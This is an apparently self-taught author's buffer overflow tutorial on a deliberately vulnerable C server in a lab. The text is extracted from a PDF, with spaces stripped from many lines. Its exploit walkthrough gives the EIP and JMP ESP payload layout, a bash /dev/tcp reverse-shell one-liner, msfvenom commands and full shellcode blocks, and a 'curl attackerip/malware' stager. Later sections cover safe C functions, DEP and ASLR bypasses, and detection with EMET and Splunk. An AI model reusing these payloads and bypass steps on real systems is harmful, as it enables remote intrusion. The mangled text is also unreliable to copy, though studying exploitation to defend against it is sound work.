3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
